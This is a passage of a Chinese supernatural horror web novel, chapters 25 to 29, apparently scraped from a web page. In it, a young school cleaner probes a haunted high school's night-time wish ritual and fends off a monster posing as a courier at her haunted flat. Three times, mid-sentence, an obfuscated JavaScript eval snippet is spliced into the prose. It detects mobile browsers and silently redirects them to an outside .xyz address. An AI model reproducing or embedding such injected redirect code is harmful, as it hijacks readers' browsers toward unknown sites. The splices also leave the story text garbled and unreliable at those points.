“这么久的时间,那个东西进不来,应该已经走了。我先去工作了。”黄立像是想起什么,给今浅塞了一个东西,“对不起啊,把你应聘到这么邪门的高中。我前段时间去寺庙,找大师求了个平安符,正好现在留给你。” “这太贵重了,你自己用吧。”今浅推脱道。 “不,这个,你一定要拿着。”黄立郑重其事地说,“关键时刻,是能改变命运的。” 不等今浅拒绝,黄立提出告辞。 他推开门,环顾四周后,小跑离开。 今浅一边收拾工具间的残局,一边思索。 晚上七点半之前必须离开学校。这条规则有两个人提醒她。 一位是黄立,她的领班。他相信这条规则,是因为他亲身经历过这件事情。 另一位,则是昨天她才见到的高个子女生,叫向潇湘。 向潇湘又是出于什么原因,相信这条规则的呢? 看样子,自己得找个机会,去问问她了。 今浅收拾好工具间后,把垃圾提出来。 工具间和操场的厕所挨得很近,离垃圾桶很远,路的中间有一条光线昏暗的长走廊。 今浅走了几步,停下脚步,细细琢磨。 周围确实如黄立所说,没有黑影人的任何痕迹。 黑影人和电线杆一样长。如果直接进来,肯定是不行的。 倘若目标一直躲在房间里,那么黑影人无论如何都无法进入房间,自然就无法触碰到目标。 更不用说,目标见过它,自然会处处防备它,它更是无法接触。 除非…… 今浅脑海里滑过一道猜想。 她抬头。 一个黑影人趴在天花板上。 七八米长的身体几乎遮盖了整条走廊的灯光。 挂在黑影上的脸旋转了180度,向下伸,现在距离今浅只有十几厘米。 如果今浅没有抬头,那么她就会在毫不知情的情况下,被黑影接触到。 察觉到今浅的视线,那个黑影人动作一顿,不再往前。 今浅盯着它,缓缓绕开那张脸,一步一步后退,离开这条长廊。 黑影人全程都只是看着,没有移动半分。在今浅踏出走廊后,瞬间烟消云散。 也许,她躲过今天的袭击。 今浅垂眸,从口袋里掏出了黄立塞给她的一样东西。 那是一张画着红色纹路的黄纸,上面歪歪扭扭写着三个字。 【平安符】 今浅把符咒扬起来,对准阳光。 阳光下,黄纸和红色纹路变得歪七扭八,在某个角度下,却像是红色眼纹。 “原来是这样啊。” 今浅莫名笑了一下,然而眼底闪过一道冷芒。 看来,事情变得有趣起来了。 26. 第 26 章 “嗵……” 一个不大的声响从角落传来。 今浅看过去,竹树遮盖的围墙前,一个鼓囊囊的红色塑料袋被扔到地上。 紧接着,又有一个红色袋子从外面扔过围墙,砸到地上。 一个穿着校服的男生正只能在墙外的一棵大树上,虽然大树摇晃导致他的身形摇摇欲坠,但他不慌不忙,双手插兜,轻轻一跃,就跳到了围墙上。 显而易见,是一个经常翻墙的老手。 突然,他的手机铃声响了。 “快要上课了,你作业还没有交。还有几分钟就要上课了。”电话那头的人说,“裴佑,你东西买到了吗?” “上课而已,我又不是每天按时按点早到教室的好学生。”听到电话那头的声音后,裴佑懒懒散散地说,“放心吧,大小姐,我已经把东西买好了,现在正在准备翻墙,进学校呢。” “那些东西挺常见的,你居然还要特地翻墙。” “大小姐,那些可是违禁物品,我可不像你一样,做错事就可以被网开一面。” “那又如何?你帮我办事,我又不是保不了你。”电话那头的声音冷笑一声。 裴佑欲言又止,最终还是揉着太阳穴,说:“算了,先不说了。我要赶路了。” 他说完,就把电话挂了。 裴佑准备纵身一跃,跳到地上,一道声音响起:“你好呀,同学。” 什么? 居然会有人会呆在这个堆满垃圾的角落?! 平时这里也没有人来啊!! 裴佑几乎是下意识背手,把手机扔到围墙外面,同时低头迅速道歉:“抱歉老师,我只是从旁边路过。您不用太在意我。” 今浅:…… 踩在围墙上路过,也确实很会路过了。 今浅说:“别紧张,你能说一下,你扔进来的东西……” “一切都与我无关。”裴佑说,“我刚来到这里,什么也不知道。” 但今浅从他的表情里不难看出,他心虚得不得了。 “我不是老师。” “你不是老师?但你的声音很年轻……”裴佑像是想到什么,瞳孔震惊,说,“难道,你,你是学生会的……” “我也不是学生会的……”对方还没解释完。 裴佑已然慌张,不小心腿一软,从围墙上滑落下来。 余光中,裴佑看见自己的落脚点时,脸上写满了惊骇,下意识闭上眼睛。 他的落脚点正好就是那两个袋子。 如果就这么砸下去,那两个袋子里面的东西可能就会—— 然而意料之中的疼痛并没有到来。 他,被一双手稳稳扶住了。 这一刹那,裴佑心脏仿佛要跳出胸膛。 他突然想到了自己很久很久以前,在网页上测过的一个预言。 总有一天,他会在阳光明媚,树影婆娑的清晨遇见自己一生中最重要的人。 那个人会在他最需要的时刻,出现在他的旁边。 难道……他孤寡十八年的宿命,终于就要在此刻终结了吗? “多……多谢。”裴佑惊魂未定,直到站稳了身形,才感觉自己有了踩在了地上的实际感受。 但与此同时,心里却莫名浮上一点疑惑。 他的救命恩人,不是老师,也不是学生,那么是…… 裴佑慢慢抬头,一身墨绿色的工作服映入眼帘。 裴佑一顿,心里有种不好的预感,紧接着,对方的头被口罩和墨镜包得严丝合缝。 只能从刚才对方的声音里听出,对方是个女生。 裴佑:……好,好别出心裁的穿搭。 “你是……”裴佑迟疑地问。 “我是保洁。”面前的人说。 裴佑春心碎了一地。 但另一方面,他又松了一口气。 “啊,原来只是保洁啊。吓我一跳。”裴佑嘟囔着,弯腰捡起地上的两个大袋子,把里面露出的东西收拾好,警告身后的保洁,说,“听着,千万不要告诉别人我来过这里。装作什么都不知道的样子,然后把这件事情烂进骨子里,懂吗?” “为什么呢?”那个保洁笑眯眯地问,“刚才好像是我救了你。” 也就是说,就算提出要求,也应该是她来提。 裴佑只觉得这个保洁心思如此活络,让他有点恼火。 他不情不愿地开口:“好吧,你有什么要求?是金钱?还是升职?” “啊,可是你看起来,不像是能做到这些要求的人呀。” “虽然我家实力比不上秦语,但和其他人比,是绰绰有余的。”裴佑不耐烦地说。 今浅眸光微动。 秦语,看来就是刚才他口中的大小姐。 “快点,想好了吗?”裴佑不耐烦,甚至有点后悔刚才手抖,把手机扔到围墙外面,说,“我可不是会浪费时间花在不认识的人身上的那种人。” “我的要求很简单。”今浅视线落在裴佑提起的两个袋子中,淡淡地说,“你告诉我,你们想要买这些东西,用途。” “什么用不用途的?”裴佑立刻警惕起来,“这和你没有任何关系,你又站在什么立场上问我们这些。” “我虽然只是个保洁,可是我也有认识老师的哟。”今浅合掌,说,“说起来,今天中午说不定,我和那位老师也许会在食堂碰面。如果一不小心把今天早上发生的趣事说出来,可能也是在所难免吧。毕竟我跟她很熟。” 面前的人脸色“嗖”得一下变得惨绿:“你……你别装了,怎么可能会突然认识老师啊,这一定是你想让我慌张的理由!” “是与不是,并不取决于我,而是在于你信或不信。”今浅说,“不过,你好像很担心自己会被老师抓到吧?” “……如果我说了,难道你就不会告诉老师?”裴佑狐疑地说。 “那得看你是否配合了。”今浅说,“当然,你放心,我肯定不是那种两面三刀的人。” 她这人,最诚实,也最不会骗人了。 “……” 裴佑沉默。 今浅知道他现在对自己很是提防,便很苦恼。 这看起来,是她能接触到这所学校一些秘密的大好时机。 书上说了,面对陌生人,要做些小游戏,帮助彼此更快地建立对对方的信任。 这叫做,破冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176671|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “看来我们似乎对彼此不是很信任。”今浅想到了好点子,笑着说,“那么,我们来玩个游戏吧。” 裴佑没有说话,后退几步,这是不太愿意交付信任的防御措施。 “我来猜猜,袋子里面会有什么。”今浅说,”如果我都猜对了,那么你就告诉我这些东西的用途。如果我没猜对,那么我绝对会把今天的事情忘得一干二净。我也不会告老师。” 裴佑迟疑。 “这其实很划算吧。”今浅说,“于你而言,最差的结果,也不过只是耽误几分钟。对于像你这样经常逃课的学生而言,时间并不是最宝贵的东西吧。” “……行。”裴佑看了一眼袋子,半是猜疑地回答。 正好,他的袋子是不透明的。 他可不相信,面前的这个保洁可以把这些全部猜出来。 这位保洁似乎笑了一下,沉默片刻后,说:“纸。” “这很常见,很容易猜出来。”裴佑耸耸肩,有些不屑地说,“没想到,你连这些都要想得这么久。” “你说得对。”保洁不慌不忙,更正,“黄纸。” “……”裴佑沉默。 “蜡烛。” “……为什么猜蜡烛呢?”裴佑下意识握紧袋子。 “啊,这个问题可真是犀利呢。”保洁不经意间说,“可能是因为,蜡烛可以在晚上照明吧。” “你怎么会知道是晚上?”裴佑呼吸急促,“明明晚上照明的东西很多。” “当然是我猜的。”保洁回答得理所当然,但是接下来的话,却让裴佑背后发凉,“既然有蜡烛,那么肯定得有,打火机。” “……” “碗。” “小刀。” “毛笔。” “以及,一本书……”保洁想了想,说,“这本书里,应该还有着奇怪的,类似符咒纹路的图案吧?” “不可能!”裴佑果断否认,“你怎么可能会知道这么多?!” 就算是再聪明的人,也不可能一下子猜到这些,除非…… 裴佑瞳孔猛缩,一个难以想象的猜想浮现出他的脑海。 “你跟踪我!” “啊,我怎么会是这样的人呢?”今浅疑惑。 她本意是想破冰,缓解两人之间的关系。 但没想到,现在好像起了反作用,面前的人好像更加害怕。 “如果你不是跟踪我,那么你怎么会知道这些东西?!”裴佑难以置信。 都说是猜的了。 还采取了一点刚才黄立给自己那张符咒的灵感。 今浅叹气,只能认真解释道:“刀具是违禁物品,剩下的都是一些招鬼常用的工具。” 裴佑缄口不言。 “所以,你们要用这些东西,是要招鬼,对吗?”面前的保洁语气严肃起来。 “这不是在招鬼。”裴佑否认,“是百年高中的传统故事,流传在我们学生之中的,在向学校里的神明祈愿的仪式。” “传统故事?” “是啊。”裴佑理所当然地说,“不过演变至今,不仅是一个神明祈愿的仪式,还是一个试探胆量的试炼。” 27. 第 27 章 “嗯?”今浅疑惑,“神明?试炼?” 难道是她的版本太过落后了,没有跟上现在流行的版本。 裴佑说:“你当然不知道这些,因为这都只在学生中流传。” 似乎是看出今浅心中的疑惑,裴佑耐心讲解:“校园传说,如果有学生晚上10点半,在学校的教室里点着蜡烛,滴上半碗的血液,认真向神明祈祷自己心中的愿望。如果发现血液变黑了,同时蜡烛在没有吹动的情况下,自己熄灭了,那么就说明自己的愿望被神明听见了。” “现在都什么年代了,还相信这些。”今浅说。 “对呀,所以现在就变成了试胆游戏咯。”裴佑满不在乎地说,随后一顿,说,“不过,前几天好像有人参加过这种活动,然后成功了。有学渣许愿自己成绩进步,当时的月考成绩就真的飞进年级前一百。有失恋的许愿报复对方,结果对方真的就倒霉,患上抑郁症跳楼了。” “感觉都很巧。” “可是这么多的巧合全部都碰在一起,自然就不是巧合了。”裴佑说,“反正,如果输了,左右不过是晚上在学校过夜。大不了翻墙离开。如果没输,真的有神明,那么许个愿就能成功。无论是哪一个,都很赚。” “你们知道,晚上七点半之前,必须要离开学校吗?” “唉呀,这种莫名其妙的规则,多半都是形式主义。就像每天早上七点必须到达学校,校服必须穿戴整齐,不能翻墙进入学校。如果不小心违背了,也不会怎么样。”裴佑满不在乎地说,“学校要让我们必须早点离开,不外乎就是那么几个原因——学校要举行盛大的活动,大扫除,布置考场……要不然,也只是为了看我们是不是服从学校的安排,考验我们对学校的服从程度咯。” 今浅若有所思。 看样子,裴佑似乎并不知道这个规则,或者说,并不把这个规则当回事。 “看样子,你对这些规则并不当回事。可为什么,你又愿意参加呢?”今浅好奇。 裴佑清了清嗓子,眼神有些飘忽,说:“咳咳……每个人都有每个人的心事,你这种保洁,是绝对不会懂的。” “成绩?” “拜托,像我们这种背景的人,其实并不特别需要在意成绩。”裴佑满脸黑线。 “是为了在意的人……” “才不是呢!”裴佑打断,“你不要满脑子都是恋爱故事好吧。” “家人?” “你别乱猜了。”裴佑放松下来,不在乎地说,“你虽然能猜中我袋子里的东西,但猜不透我们心中所求之事。” 今浅便有些好奇了。 听裴佑所言,许愿的人除了他,还有一个身份比他更加贵重的千金小姐。 能让眼前这些看起来身世显赫,什么都不怕的人,宁愿冒着被抓、被开除的风险,也要求神拜佛,去许的愿望,会是什么呢? “我能加入你们吗?” “不行。”裴佑果断拒绝,“虽然人越多,就越容易被神明看中,更容易许下愿望。可是你的身份太过神秘,我可不敢。” 特别是,刚才这个人似乎随口一猜,就把他袋子里的东西全都猜中了。 正常人可不会这么轻松。 这么想想,她更可疑了。 裴佑垂下眼眸,越想越害怕,越想越惊悚。 最后,他开口,说:“抱歉了,我现在还要去上课,就先行离开。” “啊,真是令人伤心呢。我只是一个普普通通的保洁,第一次发自内心地想要加入团队,可没想到却被拒之门外了。”今浅叹气。 “如果你的语气再悲伤一点,说不定我就相信了你这句话是真心的。”裴佑吐槽。 这人像的语气就像ai,平铺直述地说出自己心中的“悲伤”。 “原来如此,多谢提醒。”今浅说,“我突然想起,像我这种俗人,也有得不到的事情。” “……这听起来就更可疑了。”裴佑狐疑地打量今浅,说,“你不会是想趁机混进我们之中,然后到点准时举报给老师,把我们一块儿开除吧?!” “这么冤枉好人,好人会很难过的。”今浅叹气,托腮,却摸到自己严严实实的打扮。 今浅后知后觉。 难道,是因为自己的打扮看起来太严实,眼前的人才会对自己的身份产生怀疑。 果然,眼前的人迅速说:“既然是互换信任,我已经坦白了很多,你该如何表示?” 今浅摘下口罩,露出自己的真实面貌。 她想了想,说:“工作要求我们保洁必须穿戴整齐,不能露出脸。现在我露脸了,如果你告诉我的领班,那么领班就会苛责我,然后把我开除。这样,你手中也有我的把柄,如何?” “听起来确实很诱人。”裴佑脸色放缓,眼前的保洁看起来很年轻,颇为意外地说:“看起来,你应该刚刚毕业,那为什么来干保洁?” “因为这份工作工资最高。”今浅实话实说,“当然,我也对你口中的神明非常感兴趣。” 今浅在offer直聘上,搜索了很多工作。 自己本来是想找一份工作过度一下。毕竟高中刚毕业的学历,无法应聘上很好的岗位。 可没想到,百年高中的工资是最高的,自己随便投的简历,都能顺利应聘。 本地人似乎并不愿意来这所高中工作。 “你还真实在啊。”裴佑吐槽道。 今浅笑了一下,没有接过他的话茬儿,而是说:“你们是想今天晚上就开始许愿吗?” “别想了可不是随便某个时间都行得通的。”裴佑冷笑一声,“如果随便某一天,都能许愿成功的话,那么神明未免也太廉价了。” “如果神明知道你会这么评价它,它说不定在你看不见的地方偷偷报复回来呢。”今浅随口一说,面前的人脸色一变,似乎有些紧张。 “开个玩笑而已。”今浅说,“换个角度想想,像我这种穷苦的人,应该会更容易受到神明的眷顾,也应该更容易见到传说中的神明。” “你们这次活动的时间是什么时候,又会有多少人参与呢?”今浅说,“至少,我座位团队中的一员,应该有权力知道你们的事情吧。” 今浅的话似乎具有某种魔力。 这么生硬的疑惑,按照以前的习惯,裴佑会直接拒绝回答,并且嘲讽对方没有礼貌。 可现在,裴佑却下意识乖乖交待他们的计划。 “……明天晚上十点出发。”裴佑说,“至于我们是怎么得知这个时间点的,你就不需要管了。” “在哪间教室集合?” “我们会先在这个地方集合的。”裴佑说,“不能光明正大地留在学校,一直到晚上十点半。我们只能在后面偷偷翻墙进来。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191132|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今浅恍然大悟。 难怪他会在这个时候翻墙。 大概是为了演练,找找路线。 “好了好了,我不跟你聊了。”裴佑拎起袋子,再次告辞。 今浅顿了顿,又出声,说:“还有一件事情想问问你。” “你怎么有这么多的问题呢?”裴佑不耐烦。 “你认识,向潇湘这个人吗?” 今浅不想错过任何一个机会,但她也知道,不一定所有人都知道向潇湘的存在,因此也只是随口一提。 可没想到,裴佑停下脚步,皱眉,直视今浅,咄咄逼人地说:“你怎么知道她?” “我昨天碰见她了。”今浅试探地说,“她人感觉还挺好的。” “她就是个祸害。”裴佑眼底闪过一丝嫌弃和厌恶,底下藏着说不清道不明的情绪,低声,“但,她这段时间都没有来上课。” 今浅:?! 如果向潇湘没有来学校的话,那么自己昨天见到的人,到底是谁?! 今浅哑然,然而此时裴佑就像是在躲避什么东西一样,加快脚步,迅速离开。 接下来的时光,今浅并没有找到什么线索,也确实如裴佑所说,没有看见向潇湘这个人。 她无奈,只能准时准点离开学校,打道回府。 “唉,刚刚离开一个邪门的学校,现在又要面对一个奇怪的凶宅。”今浅心累,但好在今天确实有收获,她也不用太提心吊胆。 今浅一推开门,就闻到一阵诱人的香味。 她一顿,转头。 一旁的灶台上,一个锅铲正在翻炒着锅里的饭菜。 今浅:……? “诶,今浅,你回来啦。”闻啼的声音响起,他颇为得意地说,“我现在,可是知道了这栋凶宅的秘密了哦!” “秘密,先放在一边,可以不用管。”今浅看着眼前奇怪的现象,说,“你在,炒菜?” “那当然,都说过我会给你露一手的。”闻啼说,“你还记得我们来到凶宅的第一天晚上,遇见的那些鬼怪吗?我一开始还以为,它们是来吃我的。现在,我才清楚,原来它们当时是感知到凶宅来了新的鬼,特地过来找我聊天玩耍的。” “……真的?”今浅说。 她回头看向房内,一只倒立鬼正在清扫地板,天花板上吊着的红舌头正在拿着抹布清扫桌子。 一切都看起来都很和谐。 但和谐之时,又处处透露着诡异的氛围。 今浅反复打量了片刻,不太敢相信地说出了自己的推测:“它们好像……还挺听你话的。” “稍微露了一两手,教训了一两只鬼而已。”闻啼对于收复的过程,含糊其辞,而后自信地说,“放心,它们现在不敢对我们乱来。” “那你怎么能碰到实物了?” “可能是因为这个凶宅聚鬼,无形之中给了我一些力量,让我能够碰到实体。”闻啼说,“我的本体还是戒指。现在是处于幽灵的状态,只可惜,碰到实体时,你还是看不见我。” “我还以为你变成了铲子。” “那就很火热了。”闻啼吐槽道,同时,今浅看见锅铲自己把菜盛到碗里,火焰自动熄灭。 “你买回来的东西太少,只能做一两盘家常菜。”闻啼说,“你尝尝吧。” 毕竟,他答应过今浅,要给她露一手的。 28. 第 28 章 今浅的目光落到了被盛起来的菜上,两盘黑乎乎的,看不出食材本身的样子。 “你怎么不吃了?”闻啼疑惑,“番茄炒鸡蛋,清炒青菜。这两碗菜没问题呀。” “这不是我想不想吃的问题。”今浅委婉说,“这应该已经超过了正常人的承受能力。” 看起来,他的做饭水平还比不上自己。 “可能是我酱油放多了。”闻啼想了想,说,“刚才做饭的时候,突然响起了敲门声。一直保持这个状态很消耗精神的。当时我的手一滑,没握稳酱油瓶,往里面倒了很多。” 原来只是酱油放多了。 她还以为闻啼看不惯她,往里面投毒了。 今浅尝了一口,顿了顿。 闻啼飘到今浅前面,问:“味道怎么样?” 他还是第一次以这种特殊的状态做饭,现在自然而然地紧张起来。 “很好吃,非常下饭。”今浅赞不绝口,“要是我能拥有你一半的做饭水平,那我就可以去应聘厨师了。” “你慢慢吃,我给你讲讲今天我在这栋楼调查的线索。”闻啼说,“这栋楼没多少人,大部分的人都在几年前就搬走了。蹊跷的是,他们是同一时间搬走的。” “我回来的路上,也在网上搜集了相关信息。”今浅打开手机,把浏览器网页亮出来,递给闻啼看,说,“这个小区评价非常高。网上没有任何能让住在这里的人集体搬走的事故。” “那就奇怪了。”闻啼皱眉,继续说着今天收集到的情报,“楼下的门口挂着几年前的物业通知,到现在都没有更新。一楼有位老太太。她的孩子今天正好来到这里,要接她走。而老奶奶一直推脱,拒绝他们,嘴里喃喃道:‘苹果……苹果……’。而她孩子听见这些话时,脸色骤变,直接离开。” “她想吃苹果了?”今浅说,“她的子女也太过分了,只眼睁睁地看着老奶奶,不给她买苹果吃。” “这很明显,老奶奶是知道这些事情的内幕。”闻啼扶额,“老奶奶在这里住了二三十年,说不定知道前几年发生的事情。我们明天去看看?” “明天不行。”今浅说,“百年高中那里有进展,明晚会有人去学校许愿。说不定,可以弄清楚百年高中的真相。” “听起来很危险,我明天跟你一起去。”闻啼说,“凶宅这里不用太担心。我们虽然要住7天,但白天是安全的,而晚上,只要不开门,前六天基本上是不会有太大的危险。” “为什么只有前六天?”今浅疑惑。 “因为第七天,它们就能无视规则,直接进来。鬼怪之间可以互相吞噬,它们也能吃人。”闻啼说,“这是房间里的鬼怪告诉我的。” “你还能跟它们交流?” “嗯哼。”闻啼说,“它们还告诉我,除了被鬼怪直接选中以外,还有很多其他的方法可以进入怪谈世界。” 今浅颇为意外,倒立鬼腼腆地点头。 “你和它们的关系,看起来还挺好的。”今浅虚心求教,“这是怎么做到的呀?” “只是给它们露了一手,让它们知道我不是好欺负的。”闻啼骄傲地说。 话虽如此,闻啼现在连灵魂都拟不出来。 他大概也是花费了好一番功夫,才勉强收复这些鬼怪的心。 “不过,如果真如这些鬼怪们说的这样,那么原本住在这里的人,其实不是搬走了,而是在最后一天被吃掉了。” “我也是这么想的。就是不知道他们死了之后,会变成什么。”闻啼垂下眼眸。 “不过,你刚才说的,做饭时响起的敲门声?”今浅问,“我最近没有在网上买东西,就算是快递,也应该是寄到小区楼下的驿站吧。” “我也不清楚。当时飘出去的时候,只看见了一张奇怪的字条。”闻啼陷入回忆,说,“上面写着——今天,会有特殊的客人来访。还有一张手绘涂鸦。” 闻啼把字条拿出来,给今浅看。 这是一个俯视图的四方形,画出了四个侧面和一个地面。 四个侧面都有奇怪的黑色条纹,像是乱画的涂鸦。 在中间的地板上,有一个像刀子一样的图案。 “特殊的客人?”今浅皱眉。 话音刚落,今浅的手机铃突然响了。 她打开手机,拨打电话的人是她的妈妈。 妈妈熟悉的声音响起。 “喂,今浅啊,我给你寄了点这里的特产,现在应该可以到你家门口了。记得签收哦!” 话音刚落,门外传来了“噔噔蹬”的敲门声。 “谁啊?”今浅放下手机,朝门口问了一句。 一道低哑沉闷的嗓音响起:“送快递的。” “这还挺凑巧的。”闻啼皱眉,“我们不要轻举妄动。尤其是,不要给他开门。” 他只觉得这个突如其来的快递员有些蹊跷,甚至感觉有些熟悉。 “你把东西放在门口吧。”今浅随口说。 “东西太大了,放在门口可能会被偷。”门外的快递员咳嗽几声,问,“你们有水吗?可以给我点水喝吗?” “诶,电话那头,快递员到得这么快呀。”妈妈说,“你去开门看看我给你的礼物,你喜不喜欢吧。” 今浅点头,说了句“好”,随后挂断电话,走到门口。 “不对,今浅不要开门!”闻啼突然出声,脸色难看,拍桌而起,说,“外面不是人!” 他终于清楚为什么自己会觉得蹊跷了。 因为,这个“快递员”的气息,他在昨晚就感知到了。 门外的快递员,是昨晚来门口敲门的“怪物”之一。 “放心,我当然知道他是假的。” “咦?” “我来到这座城市之后,就没有给我妈妈打电话的时间。也因为太忙了,总是忘记给她发消息。”今浅说,“就算是蔡阿姨,她也只是把我送到小区门口,至于是几单元几层楼几号房,我也并没有跟她说。” 再加上当时蔡阿姨状态不太好,应该对这些琐事不太在意。 于情于理,妈妈都没有任何的机会知道自己的住址。 而刚才打电话给自己的“妈妈”,又是怎么能精准知道自己的未知,并且送上快递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195644|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。 结合电话里的要求和门外的动静,显而易见,两方是一伙儿的。 “那你赶紧回来,不要在门口呀。”闻啼心惊胆颤,生怕今浅被门外的东西蛊惑,而后不由自主地打开门。 “不行哦,闻啼。”今浅叹气,“不出所料,这位就是我们今天晚上要欢迎光临的特殊客人了。” 门外的快递员隔了这么久的时间,都没有看见门开的迹象,不由得有些着急,一边敲门,一遍对里面大喊:“快开门啊……快开门啊……” 门就像是一块弹性极佳的蹦床,任凭敲门的动静再大,也只是发生了强烈的弹性形变。 可是,虽然门能挡回剧烈的动静,可是闻啼眼尖,发现门的螺丝已经摇摇欲坠。 “这个门看起来,不能坚持太久了。”闻啼脸色铁青,说,“难道,我们就这么放他进来?” 可是,无论是谁,一看见现在这种情形,都能清楚,外面的“怪物”不是好对付的。 “你先勾引它的注意力,我看看这个方法行不行得通。”闻啼走到厨房旁边,起锅,倒油,开火。 他以前看过类似的故事,如果有东西想要闯入自己的房子,可以往门上泼一锅热油,伪装成十八层地狱里的油锅地狱。 从地狱里偷偷跑出来的小鬼碰见了,就会误以为自己回到地狱,于是转身就跑。 虽然不知道这个方法对付门外的快递鬼有没有用,但现在他们到了这个地步,除了这个办法以外,也没有任何的用处。 他要烧了一锅油,来应对外面的“怪物”。 昨晚出现的熟鬼现在又躺在他们的煤气灶上。 锅穿过了它的身体,而它浑然不觉。 “嗨~又见面了。”熟鬼笑嘻嘻地跟他们打招呼,然而被在场的今浅和闻啼无视得彻底。 听见闻啼的要求,今浅沉默片刻,决定豁出自己这辈子身为老实人的颜面。 她清了清嗓子,扬起声音,朝门外喊:“oi,外面的小鬼,有本事来玩呀~” “不是这种勾引。”闻啼没忍住,差点没拿稳锅。 这跟挑衅有什么区别。 果不其然,外面的鬼听了,更是恼怒,拍门的速度更大了。 锅下的熟鬼吓得变了脸,翻了个身。 “闻啼,你的方法好像不管用。” 这个快递鬼好像不吃她的勾引。 眼前这道门几乎到了它的极限。如果任凭门外的怪物敲门,他们很有可能会真的被这个怪物袭击,说不定命丧黄泉。 “我这里很快好了,你放狠话威胁他。”闻啼看着锅在止不住地冒烟,心里有些焦急,说。 “行。”今浅抵着门,不让外面的快递鬼敲门,对门外威胁道,“你可不要太嚣张,我可是有底牌的!” “别以为我察觉不到你的虚张声势。”快递鬼不装了,冷笑一声,“你和里面那些鬼,都没有什么可以威胁到我生命安全的东西。” “呵呵,那你可得小心点,看看我敢不敢这么做了。” “哦?你要做什么” “我要,报警。” 29. 第 29 章 “我来之前看过了,这栋楼的管理者并不在。你就算报警也抓不到我。”话虽如此,快递鬼停下了敲门的动静。 “反正我话就撂这了,你爱信不信。”今浅说。 门外陷入了沉默。 “闻啼,你确定要热油吗?”今浅说,“你这个方法听起来还挺好的,但是有一个弊端。” “什么?” 煤气灶幽蓝色的火焰烤着熟鬼,锅里的油静静加热。 现在的气氛也很安静,但是任谁都知道,这锅看起来平静的油,只需要一点点推波助澜,就能炸开的锅。 “泼油的话,得先把门打开。”今浅神情凝重,“可是,我们不能开门。” “!!!”闻啼想到这一点,本来就没有血色的脸变得更加没有血色。 “别急,但并不是完全没有办法。”今浅说,“但就是不知道,接下来的动静会不会影响到现实。” “需要我怎么配合,你尽管说。” “虽然不能开门,但是并没有要求,门必须是完好无损的。”今浅冷静地说,“如果有一条比较大的缝,我们就可以把油往外泼,至少可以阻挡它。” “用热油来欢迎特殊的客人,还挺特别的待客之道。”闻啼说,“但是如果我们单方面把门损坏,算不算我们开门。” “所以呀,我们的速度得快。” 闻啼一怔,说:“你的意思是……” “我挑衅它,它怒火中烧,可能就会被气得破门而入。在那一瞬间,你倒油。它吃痛,会收回手。我们再趁机随便找个东西堵住缺口。”今浅话还没说完,闻啼就果断回答。 “可以。” “……你就这么相信我?”今浅愣了。 “现在我们都已经在生死存亡关头了,一条船上的蚂蚱,你要搞我早就搞我了。”闻啼嘴角抽搐,说,“不过,你还是小心一点为妙。” 虽然今浅看上去总是非常有把握,但是他还是不希望看见自己的同伴受到伤害。 今浅笑了一下,只是朝门外说:“外面的‘客人’,你想好了嘛?现在离开还来得及哦。还是说,难道你特别馋我们的身体?” “好可怜啊,看着眼前的大餐却吃不到的感觉,肯定很难受吧。”今浅叹气,“但没办法,勇敢的鬼先享受世界。而像某些胆小鬼,眼巴巴地看着眼前的大餐。” 今浅接二连三,说着一些令鬼怒火中烧的话,但是门外始终没有任何动静。 “它还没走。”闻啼感知到了门外那个待在原地一动不动的庞然大物,不由得佩服,“没想到它这么能忍。” 门外的快递鬼许久都没有说话,但是谁都知道,外面的它一直没有离开。 今浅不知道外面的情况,而闻啼也因为房间的禁锢,不能飘出门去看外面的动静。 今浅背靠着门,不敢松懈分毫。 隐约间,她听见了门外响起一道清脆的摩擦声,就像是金属和金属发生了碰撞。 不好,对面好像是要掏刀子了。 今浅瞳孔骤缩,下意识直起身子躲避。 可是身后的动静,比她离开的动作还要快。 她只是走了不到半步,身后的门就传来了一道沉闷的声响。 木屑纷飞,就像空气里飞舞的的灰尘。今浅回头,一个尖锐的,冷白的尖刀,已经捅破了木门。 “闻啼……”今浅还没喊完闻啼名字,只见一个端着热油的锅飘到她的面前,浇在这把刀尖上。 “滋啦滋啦……”平静的油瞬间炸开,那把尖刀就像是雪消融一样,快速的干瘪,融化。 “啊——”门外的快递鬼发出尖锐的哀嚎。 它刚才用自己化成刀的手指捅破了门,可未曾想,一道热油浇在了它的指尖。 它急忙抽回自己的手指,今浅抄起厨房的抹布,想要塞回那个洞里。 然而,那个洞尺寸有点小,而抹布比较大。 比今浅速度更快的,是闻啼控制的锅铲把柄。 闻啼说:“离远点!门上有油会烫伤!” 锅铲的把柄顺着洞往外滑,但又被铲子卡住,一时间动弹不得,门再次被封住。 “啊啊啊……”门外的鬼仍然在尖叫,但今浅听出来其中的不对。 